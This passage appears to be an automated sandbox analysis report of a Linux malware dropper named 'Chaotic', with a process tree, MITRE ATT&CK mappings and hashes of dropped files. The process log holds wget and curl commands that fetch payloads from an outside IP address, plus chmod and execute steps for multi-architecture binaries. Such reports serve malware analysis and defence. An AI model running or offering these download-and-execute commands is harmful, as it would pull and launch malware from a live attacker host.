  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1612
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1622

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Chaotic

Filesize
37KB

MD5
fc32f8a67d1b0590d25d38c2614d72d9

SHA1
be2059efd5d4fcd999672caa7970019eb160bf13

SHA256
1bd4414e839b5d0be6d814d0d3daae5f64df063fb87865d32fbe815e02d587fa

SHA512
b99e74e7b031a5f21b1fece80c6976718a33efb3da3c13949fa8053f1e47970f335766a4376f33edff2dfaf79b144669ef28387dc73e9ff34cb77c94b47b9047

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

Download Submit
/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
67866b2fa89306af228090376b5ee71d

SHA1
589a43771d9ced3e2c57b0f81b68d5c1870979b6

SHA256
11ccfcb325127d662796d16aaf51a64ca1525239bee5b18591a7cca45a3c5fd5

SHA512
7f67170a16b0f499a507c79d4ec70a4aaf2bc5de3b863440418b73203aff80bb3c4b3283b9601f30262c5cf197be86fbf473957b9f004ac9c815c7519bce72e4

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads